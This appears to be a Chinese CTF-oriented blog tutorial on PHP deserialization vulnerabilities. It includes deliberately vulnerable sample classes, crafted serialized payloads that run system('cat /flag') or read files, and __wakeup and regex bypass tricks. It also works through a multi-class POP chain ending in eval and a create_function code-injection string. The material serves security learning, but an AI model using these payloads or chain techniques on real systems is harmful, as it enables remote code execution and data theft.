PHP反序列化专题

一,序列化基础知识类

基础反序列化

魔术函数:即调用一些函数时,可直接自动调用这些函数
常见的序列化类型

__construct()	// 当一个对象创建时被调用,
__destruct()	// 当一个对象销毁时被调用,
__toString()	// 当一个对象被当作一个字符串被调用。
__wakeup()		// 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep()		// 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__destruct()	// 对象被销毁时触发
__call()		// 在对象上下文中调用不可访问的方法时触发
__callStatic()	// 在静态上下文中调用不可访问的方法时触发
__get()			// 用于从不可访问的属性读取数据
__set()			// 用于将数据写入不可访问的属性
__isset()		// 在不可访问的属性上调用isset()或empty()触发
__unset()		// 在不可访问的属性上使用unset()时触发
__toString()	// 把类当作字符串使用时触发,返回值需要为字符串
__invoke()		// 当脚本尝试将对象调用为函数时触发

链调用实际理解

<?php

# 设置一个类A
class A{
    private $name = "V0W";
    function __construct()
    {
        echo "__construct() call\n";
    }

    function __destruct()
    {
        echo "\n__destruct() call\n";
    }

    function __toString()
    {
        return "__toString() call\n";
    }
    function __sleep()
    {
        echo "__sleep() call\n";
        return array("name");
    }
    function __wakeup()
    {
        echo "__wakeup() call\n";
    }
    function __get($a)
    {
        echo "__get() call\n";
        return $this->name;
    }
    function __set($property, $value)
    {   echo "\n__set() call\n";
        $this->$property = $value;
    }
    function __invoke()
    {
        echo "__invoke() call\n";
    }
}

//调用 __construct()
$a = new A();

//调用 __toSting()
echo $a;

//调用 __sleep()
$b = serialize($a);
echo $b;
//调用 __wakeup()
$c = unserialize($b);
echo $c;
//不存在这个bbbb属性,调用 __get()
echo $a->bbbb;

//name是私有变量,不允许修改,调用 __set()
$a->name = "pro";
echo $a->name;
//将对象作为函数,调用 __invoke()
$a();

//程序结束,调用 __destruct() (会调用两次__destruct,因为中间有一次反序列化)

在这里插入图片描述

序列化类漏洞可利用条件
1.参数可变–>即参数可以手动进行更改类
2.有可利用函数
如这里存在的测试代码test.php

?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {
            # 读取文件函数
            return file_get_contents($this->filename);
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
	# 参数可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;  

?> 

因此构造–>即手动更改参数即可获得

O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}
#即更改test.php改成test.txt即可读取其他的内容
O:9:"FileClass":1:{s:8:"filename";s:8:"test.txt";}
含义-->O表示是一个对象,9代表的是一个对象的长度,FileClass代遍序列化对象名称,2表示对象中存在1个属性-->string。第一个属性s是字符串,8表示属性名的长度,filename表示属性的名字。

或者

<?php
class lemon {
  protected $ClassObj;
  function __construct() {$this->ClassObj = new normal();}
	function __destruct()
	{
		$this->ClassObj->action();
	}
}
class normal {
  function action() {echo "hello";}
}
class evil {
  private $data;
  function action()
  {
	  eval($this->data);
  }
}
$flag = new lemon();
$str = serialize($flag);
echo $str;
?>
构造分析过程
因为进去首先到的是__construct函数中,然后调用的本来是Object的函数,但是为了执行绕过 
可以改为	

序列化过程分析

 <?php
 class xiaohua
 {
      function __construct(){
                   print "In construct <br>";
                  $this->name="my xiaohua";
                            }
       function __destruct(){
              print "Destruct<br>" .$this->name."\n";
      }
 }
 $obj=new xiaohua();
?>
#执行结果:-->即先执行构造函数构造完后就执行析构函数
In construct
Destruct
my xiaohua
 <?php
 class xiaohua{
    function huahua(){
           $this->name="huahua";
          print $this->name;
     }
   function __wakeup(){
           echo "wakeup  <br>";
     }
    function __sleep(){
           echo "<br> sleep <br>";
           return array('name');
    }

}

 $sst='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} ';
 var_dump($sst);
 $xiaohua1=new xiaohua;
 $xiaohua1->name="bobo";
 $sr=serialize($xiaohua1);
 print $sr;

 ?>
#执行结果:
 wakeup
object(xiaohua)#1 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }
 sleep
 O:7:"xiaohua":1:{s:4:"name";s:4:"bobo";}
 #即执行过程-->反序列化后,会自动调用__wakeup函数,输出wakeup。序列化对象后,会自动调用__sleep函数输出sleep

即执行过程先构造构造完后按顺序执行函数,最后执行析构函数
特殊的tips
1.protected和private属性反序列化后编码存在不可打印字符绕过思路
原理:protected/private类型的属性序列化后产生不可打印字符,public类型则不会。
如果是在php7.1版本以上的
对传入的属性要求不高 因此可以把protected或者private的属性改成public进而绕过这些特殊字符
2.利用urlencode()去绕过
然后直接传输编码的字符就可以绕了

二.序列化典型三类题型

类型1.)直接序列化类类
即直接serialize(需要的内容)–>

即可反序列化参数

<?php
error_reporting(0);
class Pop{
    public $shana;
    public $cmd;
    public function __construct(){
        echo "welcome to unserialize of web<br/>";
    }
    public function __destruct(){
        if($this->shana === 'yyds')
            @eval($this->cmd);
    }
}
if(isset($_GET['shana']))
    @unserialize($_GET['shana']);
else
    $p = new Pop();
    highlight_file(__FILE__);
$a=new Pop();
$a->shana='yyds';
#$a->cmd=system('ls');错误格式
$a->cmd='system("cat /flag");';#正确格式即执行命令正确的格式为'system(“cat /flag”);'即包含这个命令执行状况理解
#’‘跟是否需要加与是否在类里面相关
echo serialize($a);
?>

得到–>O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}–>传给password即可
如果传入后不进行unserialize()-->即直接传echo(unserialize('O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}'))
2.)直接构造序列化类
典型结合弱比较进行考核
3.)直接定义变量进行代参数类

#如上面的题型
#代构造代码
<?php
class Pop{
public $shana='yyds';
public $cmd='system("cat /flag");';
}
$p=new Pop();
echo serialize($p);
?>

三,常见序列化网站与序列化的格式`

1)序列化网站

http://www.ecjson.com/unserialize/
https://www.toolnb.com/dev/runCode/243e11a40a13ca67d0f13d10dadfdd48.html
http://3br.net/unserialize.html

2)格式
即Pop–>类
shana–>变量名(且需要相互对应相互的变量值类)

O:3:"Pop":2:{s:5:"shana";s:4:"yyds";s:3:"cmd";s:6:"ls ../";}

四,序列化典型绕过类

1.)绕过_wakeup()
导致原因:php的版本导致
绕过方法
将参数的个数改成超过现有的参数个数即可

#最初的
O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}
#代绕进行构造的
O:8:"CMDClass":2:{s:3:"cmd";s:2:"ls";}

2.)绕正则表达式

<?php  
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);#即
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else 
{
    highlight_file("./test4.php");
}
?>
#无法读取类
O:4:"baby":1:{s:4:"file";s:9:"index.php";}
#可绕过类
O:+4:"baby":1:{s:4:"file";s:9:"index.php";}#即将+改成%2b即可绕

5大绕过

五,典型序列化的题型

序列化典型题目1
序列化题目2
序列化联合命令ping语句考法
题型

<?
if (isset($_POST['un']) && isset($_GET['x'])){
    class allstart
    {
            public $var1;
            public $var2;
            public function __destruct()
            {
                    $this->var1->test1();
            }
    }
    class func1
    {
            public $var1;
            public $var2;
            public function test1()
            {
                $this->var1->test2();
            }
    }    
    class func2
    {
            public $var1;
            public $var2;
            public function __call($test2,$arr)
            {
                    $s1 = $this->var1;
                    $s1();
            }
    }
    class func3
    {
            public $var1;
            public $var2;
            public function __invoke()
            {
                    $this->var2 = "concat string".$this->var1;
            } 
    }
    class func4
    {
            public $str1;
            public $str2;
            public function __toString()
            {
                    $this->str1->get_flag();
                    return "1";
            }
    }
    class toget
    {
            public $todo;
            public function get_flag()
            {
                    eval($this->todo);
            }
    }
    unserialize($_POST['un']);
}
 
 
 
?>

解法

#原理
#我们传入一个un然后进行反序列化。我们最终的目标是toget类里面的eval命令执行。为了调用 get_flag(),要先调用func4类里的 __toString(),然后在func3类中有一个字符串拼接,可以触发__toString()方法,在func2类中把var1当作函数执行可以触发func3里的__invoke(),func1中调用了一个test2()不存在的方法可以触发func2里的__call(),最终被allstart类中的__destruct()调用。
<?php  
class allstart{
        public $var1;
        public $var2;
}
class func1{
        public $var1;
        public $var2;
}    
class func2{
        public $var1;
        public $var2;
}
class func3{
        public $var1;
        public $var2;
}
class func4{
        public $str1;
        public $str2;
 
}
class toget{
        public $todo;
 
}
$p1 = new allstart();
$p2 = new func1();
$p1->var1 = $p2;
$p3 = new func2();
$p2->var1 = $p3;
$p4 = new func3();
$p3->var1 = $p4;
$p5 = new func4();
$p4->var1 = $p5;
$p6 = new toget();
$p5->str1 = $p6;
$p6->todo = 'system("cat /flag")';
echo(serialize($p1))
?>

在这里插入图片描述
典型的经典create_function 的格式执行
解决方法

<?php
class func
{
       public $mod1;
       public $mod2;
       public $key;
}

class GetFlag
{       public $code="1;}eval(\$_GET[1]);/*";
        public $action='create_function';
       public function get_flag(){
           $a=$this->action;
           $a('', $this->code);
       }
}
$o=new func();
$o1=new GetFlag();
$o->key=serialize(array($o1,"get_flag"));
echo(urlencode(serialize($o)));


实战案例
有趣的php反序列化总结
网鼎杯的还行

几个注意点
专题

①对于反序列化的时候 php会把private和protected变量会引入不可见字符\x00,这些字符对应的ascii码为0
因此如果有字符串限定判断的话 需要去更改控制代。

绕过思路 将%00转为\00 将s->S,即可将ascii码变为大写类的类型的

②如果不知道绝对路径,可以利用不完整的序列化可以使析构函数提前执行 进而绕过绝对路径

PHP SESSION反序列化

ini_set(‘session.serialize_handler’, ‘php_serialize’);
ini_set(‘session.serialize_handler’, ‘php’);
#PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化

原理:session的反序列化的方式两种不同导致绕过,对于php的模式情况下 如果是精心构造的序列化包的情况下,他可能只取了一部分进行实体化,进而达到利用效果。

php session反序列化漏洞

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值